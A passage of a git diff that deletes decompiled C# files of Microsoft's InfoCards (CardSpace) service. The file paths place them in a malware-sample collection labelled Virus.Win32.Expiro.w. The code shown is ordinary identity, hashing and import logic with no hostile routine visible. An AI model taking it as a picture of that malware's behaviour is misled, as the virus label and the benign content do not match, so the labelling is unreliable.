_: - return (GlobalId) obj == this; - default: - return false; - } - } - - public override string ToString() => ((Guid) this).ToString("D"); - - public static bool operator !=(GlobalId a, GlobalId b) => !(a == b); - - public static unsafe bool operator ==(GlobalId a, GlobalId b) - { - byte* numPtr1 = (byte*) &a; - byte* numPtr2 = (byte*) &b; - for (int index = 0; index < sizeof (GlobalId); ++index) - { - if ((int) numPtr1[index] != (int) numPtr2[index]) - return false; - } - return true; - } - - public static unsafe implicit operator Guid(GlobalId id) => *(Guid*) &id; - - public static unsafe implicit operator GlobalId(Guid guid) => *(GlobalId*) &guid; - - public static GlobalId DeriveFrom(string value) - { - value = !string.IsNullOrEmpty(value) ? value.Trim() : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (value)); - value = value.ToLower(CultureInfo.InvariantCulture); - using (SHA256Managed shA256Managed = new SHA256Managed()) - { - byte[] numArray = new byte[Encoding.Unicode.GetByteCount(value) + GlobalId.HASHPREFIX.Length]; - Array.Copy((Array) GlobalId.HASHPREFIX, 0, (Array) numArray, 0, GlobalId.HASHPREFIX.Length); - Encoding.Unicode.GetBytes(value, 0, value.Length, numArray, GlobalId.HASHPREFIX.Length); - byte[] hash = shA256Managed.ComputeHash(numArray); - return new GlobalId(new byte[16] - { - hash[3], - hash[2], - hash[1], - hash[0], - hash[5], - hash[4], - hash[7], - (byte) ((int) hash[6] & 15 | 48), - (byte) ((int) hash[8] & 63 | 128), - hash[9], - hash[10], - hash[11], - hash[12], - hash[13], - hash[14], - hash[15] - }); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/HandleDictionary`1.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/HandleDictionary`1.cs deleted file mode 100644 index 70db33ac..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/HandleDictionary`1.cs +++ /dev/null @@ -1,53 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.HandleDictionary`1 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; - -namespace Microsoft.InfoCards -{ - internal class HandleDictionary - { - private const int m_MaxSessionCount = 1073741823; - private Dictionary m_internalDictionary; - private Random m_random; - - public int MaxSize => 1073741823; - - public TVal this[int Key] - { - get => this.m_internalDictionary[Key]; - set - { - if (!this.ContainsHandle(Key)) - throw InfoCardTrace.ThrowHelperError((Exception) new KeyNotFoundException()); - this.m_internalDictionary[Key] = value; - } - } - - public HandleDictionary() - { - this.m_internalDictionary = new Dictionary(); - this.m_random = new Random(); - } - - public int GetNewHandle() - { - if (this.m_internalDictionary.Count >= 1073741823) - throw InfoCardTrace.ThrowHelperError((Exception) new MaxSessionCountExceededException()); - int key = this.m_random.Next(); - while (this.m_internalDictionary.ContainsKey(key) || key == 0) - key = this.m_random.Next(); - this.m_internalDictionary[key] = default (TVal); - return key; - } - - public bool Remove(int key) => this.m_internalDictionary.Remove(key); - - public bool ContainsHandle(int key) => this.m_internalDictionary.ContainsKey(key); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/HashCoreRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/HashCoreRequest.cs deleted file mode 100644 index f0694477..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/HashCoreRequest.cs +++ /dev/null @@ -1,55 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.HashCoreRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class HashCoreRequest : ClientRequest - { - private int m_cryptoSession; - private byte[] m_inBlock; - - public HashCoreRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - } - - protected override void OnMarshalInArgs() - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(this.InArgs); - this.m_cryptoSession = binaryReader.ReadInt32(); - int count = binaryReader.ReadInt32(); - this.m_inBlock = binaryReader.ReadBytes(count); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_cryptoSession, "cryptoSession"); - } - - protected override void OnProcess() - { - try - { - ((HashCryptoSession) CryptoSession.Find(this.m_cryptoSession, this.CallerPid, this.RequestorIdentity.User)).HashCore(this.m_inBlock); - } - finally - { - Array.Clear((Array) this.m_inBlock, 0, this.m_inBlock.Length); - } - } - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/HashCryptoSession.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/HashCryptoSession.cs deleted file mode 100644 index 521889f4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/HashCryptoSession.cs +++ /dev/null @@ -1,60 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.HashCryptoSession -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Cryptography; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class HashCryptoSession : CryptoSession - { - private KeyedHashAlgorithm m_hash; - - public HashCryptoSession( - Process process, - DateTime expiration, - WindowsIdentity identity, - KeyedHashAlgorithm hash) - : base(process, expiration, identity, (object) hash, CryptoSession.SessionType.Hash) - { - this.m_hash = hash; - } - - protected override void OnDispose() - { - this.m_hash.Clear(); - this.m_hash.Dispose(); - this.m_hash = (KeyedHashAlgorithm) null; - } - - protected override void OnWrite(BinaryWriter bwriter) - { - bwriter.Write(this.m_hash.HashSize); - bwriter.Write(this.m_hash.InputBlockSize); - bwriter.Write(this.m_hash.OutputBlockSize); - bwriter.Write(this.m_hash.CanTransformMultipleBlocks); - bwriter.Write(this.m_hash.CanReuseTransform); - } - - public void HashCore(byte[] inData) => this.m_hash.TransformBlock(inData, 0, inData.Length, (byte[]) null, 0); - - public byte[] HashFinal(byte[] inData) - { - try - { - this.m_hash.TransformFinalBlock(inData, 0, inData.Length); - } - finally - { - this.m_hash.Initialize(); - } - return this.m_hash.Hash; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/HashFinalRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/HashFinalRequest.cs deleted file mode 100644 index 280ccfcc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/HashFinalRequest.cs +++ /dev/null @@ -1,54 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.HashFinalRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class HashFinalRequest : ClientRequest - { - private int m_cryptoSession; - private byte[] m_inBlock; - private byte[] m_outBlock; - - public HashFinalRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - } - - protected override void OnMarshalInArgs() - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(this.InArgs); - this.m_cryptoSession = binaryReader.ReadInt32(); - int count = binaryReader.ReadInt32(); - this.m_inBlock = binaryReader.ReadBytes(count); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_cryptoSession, "cryptoSession"); - } - - protected override void OnProcess() - { - try - { - this.m_outBlock = ((HashCryptoSession) CryptoSession.Find(this.m_cryptoSession, this.CallerPid, this.RequestorIdentity.User)).HashFinal(this.m_inBlock); - } - finally - { - Array.Clear((Array) this.m_inBlock, 0, this.m_inBlock.Length); - } - } - - protected override void OnMarshalOutArgs() => Utility.SerializeBytes(new BinaryWriter(this.OutArgs), this.m_outBlock); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/HashUtility.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/HashUtility.cs deleted file mode 100644 index d4e11157..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/HashUtility.cs +++ /dev/null @@ -1,54 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.HashUtility -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal static class HashUtility - { - public const string HashAlgorithmName = "SHA256"; - private static object s_lock = new object(); - private static SHA256Managed s_hasher = new SHA256Managed(); - - public static int HashBitLength => HashUtility.s_hasher.HashSize; - - public static int HashBufferLength => HashUtility.HashBitLength / 8; - - public static void SetHashValue(byte[] data, int dataIndex, byte[] dataToHash) - { - if (dataToHash == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (dataToHash)); - HashUtility.SetHashValue(data, dataIndex, dataToHash, 0, dataToHash.Length); - } - - public static void SetHashValue( - byte[] data, - int dataIndex, - byte[] dataToHash, - int dataToHashIndex, - int dataToHashSize) - { - if (data == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - if (dataIndex < 0 || dataIndex >= data.Length) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (dataIndex), (object) dataIndex, SR.GetString("StoreHashUtilityDataOutOfRange"))); - if (dataToHash == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (dataToHash)); - if (dataToHashIndex < 0 || dataToHashIndex > dataToHash.Length) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (dataToHashIndex), (object) dataToHashIndex, SR.GetString("StoreHashUtilityDataToHashOutOfRange"))); - if (dataToHashSize < 0 || dataToHashSize > dataToHash.Length - dataToHashIndex) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (dataToHashIndex), (object) dataToHashIndex, SR.GetString("StoreHashUtilityDataToHashOutOfRange"))); - byte[] sourceArray = (byte[]) null; - lock (HashUtility.s_lock) - sourceArray = HashUtility.s_hasher.ComputeHash(dataToHash, dataToHashIndex, dataToHashSize); - Array.Copy((Array) sourceArray, 0, (Array) data, dataIndex, sourceArray.Length); - Array.Clear((Array) sourceArray, 0, sourceArray.Length); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/HttpProxyTransportBindingElement.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/HttpProxyTransportBindingElement.cs deleted file mode 100644 index 7323cd80..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/HttpProxyTransportBindingElement.cs +++ /dev/null @@ -1,93 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.HttpProxyTransportBindingElement -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System.Net; -using System.ServiceModel.Channels; - -namespace Microsoft.InfoCards -{ - internal class HttpProxyTransportBindingElement : TransportBindingElement - { - private HttpTransportBindingElement innerHttpTransport; - private IWebProxy proxy; - - public static BindingElementCollection ReplaceHttpTransportWithProxy( - BindingElementCollection bindingElements, - IWebProxy proxy, - bool turnOffClientAuthOnTransport) - { - int index1 = -1; - for (int index2 = 0; index2 < bindingElements.Count; ++index2) - { - if (bindingElements[index2] is HttpTransportBindingElement) - { - index1 = index2; - break; - } - } - if (index1 == -1) - return bindingElements; - InfoCardTrace.Assert(index1 == bindingElements.Count - 1, "Transport should be last in the Binding Element list"); - HttpTransportBindingElement bindingElement = (HttpTransportBindingElement) bindingElements[index1]; - if (turnOffClientAuthOnTransport) - bindingElement.AuthenticationScheme = AuthenticationSchemes.Anonymous; - HttpProxyTransportBindingElement transportBindingElement = new HttpProxyTransportBindingElement(proxy, bindingElement); - bindingElements[index1] = (BindingElement) transportBindingElement; - return bindingElements; - } - - private HttpProxyTransportBindingElement( - IWebProxy proxy, - HttpTransportBindingElement innerHttpTransport) - { - this.innerHttpTransport = innerHttpTransport; - this.proxy = proxy; - } - - private HttpProxyTransportBindingElement(HttpProxyTransportBindingElement elementToBeCloned) - : base((TransportBindingElement) elementToBeCloned) - { - this.innerHttpTransport = elementToBeCloned.innerHttpTransport; - this.proxy = elementToBeCloned.proxy; - } - - public override long MaxBufferPoolSize - { - get => this.innerHttpTransport.MaxBufferPoolSize; - set => this.innerHttpTransport.MaxBufferPoolSize = value; - } - - public override long MaxReceivedMessageSize - { - get => this.innerHttpTransport.MaxReceivedMessageSize; - set => this.innerHttpTransport.MaxReceivedMessageSize = value; - } - - public override string Scheme => this.innerHttpTransport.Scheme; - - public override IChannelFactory BuildChannelFactory( - BindingContext context) - { - this.innerHttpTransport.Proxy = this.proxy; - return this.innerHttpTransport.BuildChannelFactory(context); - } - - public override IChannelListener BuildChannelListener( - BindingContext context) - { - return this.innerHttpTransport.BuildChannelListener(context); - } - - public override bool CanBuildChannelFactory(BindingContext context) => this.innerHttpTransport.CanBuildChannelFactory(context); - - public override bool CanBuildChannelListener(BindingContext context) => this.innerHttpTransport.CanBuildChannelListener(context); - - public override BindingElement Clone() => (BindingElement) new HttpProxyTransportBindingElement(this); - - public override T GetProperty(BindingContext context) => this.innerHttpTransport.GetProperty(context); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/IAccessibilityHelper.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/IAccessibilityHelper.cs deleted file mode 100644 index fccc31c0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/IAccessibilityHelper.cs +++ /dev/null @@ -1,29 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.IAccessibilityHelper -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal interface IAccessibilityHelper - { - void Stop(); - - void RestartOnInfoCardDesktop( - uint userATApplicationFlags, - SafeNativeHandle hTrustedUserToken, - ref string trustedUserSid, - string infocardDesktop, - int userSessionId, - uint userProcessId, - WindowsIdentity userIdentity); - - bool RestartOnUsersDesktop( - uint userProcessId, - string userDesktop, - WindowsIdentity userIdentity); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ICanonicalizer.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ICanonicalizer.cs deleted file mode 100644 index dcbfc57f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ICanonicalizer.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ICanonicalizer -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -namespace Microsoft.InfoCards -{ - internal interface ICanonicalizer - { - bool CanCanonicalize(object obj); - - byte[] Canonicalize(object obj); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ITokenFactory.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ITokenFactory.cs deleted file mode 100644 index 1297befa..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ITokenFactory.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ITokenFactory -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -namespace Microsoft.InfoCards -{ - internal interface ITokenFactory - { - void Abort(); - - TokenDescriptor CreateToken( - InfoCard card, - TokenFactoryCredential credential, - InfoCardPolicy policy, - bool discloseOptional); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/IdentityValidationException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/IdentityValidationException.cs deleted file mode 100644 index 61b5e07e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/IdentityValidationException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.IdentityValidationException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class IdentityValidationException : InfoCardBaseException - { - private const int HRESULT = -1073413885; - - public IdentityValidationException() - : base(-1073413885) - { - } - - public IdentityValidationException(string message) - : base(-1073413885, message) - { - } - - public IdentityValidationException(string message, Exception inner) - : base(-1073413885, message, inner) - { - } - - protected IdentityValidationException(SerializationInfo si, StreamingContext sc) - : base(-1073413885, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ImportException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ImportException.cs deleted file mode 100644 index eb360a39..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ImportException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ImportException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class ImportException : InfoCardBaseException - { - private const int HRESULT = -1073413884; - - public ImportException() - : base(-1073413884) - { - } - - public ImportException(string message) - : base(-1073413884, message) - { - } - - public ImportException(string message, Exception inner) - : base(-1073413884, message, inner) - { - } - - protected ImportException(SerializationInfo si, StreamingContext sc) - : base(-1073413884, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ImportFileRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ImportFileRequest.cs deleted file mode 100644 index 6950b9fa..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ImportFileRequest.cs +++ /dev/null @@ -1,102 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ImportFileRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class ImportFileRequest : UIAgentRequest - { - public ImportFileRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - RoamingStoreFile context = this.ParentRequest.GetContext(); - if (context == null) - return; - if (context.Cards == null) - return; - try - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - connection.BeginTransaction(); - try - { - foreach (InfoCard card in (IEnumerable) context.Cards) - { - DataRow singleRow = connection.GetSingleRow(QueryDetails.FullRow, new List() - { - new QueryParameter("ix_objecttype", new object[1] - { - (object) 1 - }), - new QueryParameter("ix_globalid", new object[1] - { - (object) GlobalId.DeriveFrom(card.Id.ToString()) - }) - }.ToArray()); - if (singleRow != null) - { - using (MemoryStream memoryStream = new MemoryStream(singleRow.GetDataField())) - { - if (new InfoCard((Stream) memoryStream).LastUpdate < card.LastUpdate) - { - card.IsImported = true; - card.InstalledOn = DateTime.Now; - card.Save(connection); - } - } - } - else - { - card.IsImported = true; - card.InstalledOn = DateTime.Now; - card.Save(connection); - } - } - connection.CommitTransaction(); - AuditLog.AuditStoreImport(); - } - catch (Exception ex) - { - connection.RollbackTransaction(); - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportStoreException(SR.GetString("InvalidImportFile"), ex)); - throw; - } - } - finally - { - connection.Close(); - } - } - finally - { - context.Clear(); - } - } - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ImportRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ImportRequest.cs deleted file mode 100644 index 4ff757e2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ImportRequest.cs +++ /dev/null @@ -1,91 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ImportRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class ImportRequest : ClientUIRequest - { - private FileStream m_importFile; - private string m_filename; - - public ImportRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - InfoCardUIAgent uiAgent, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, 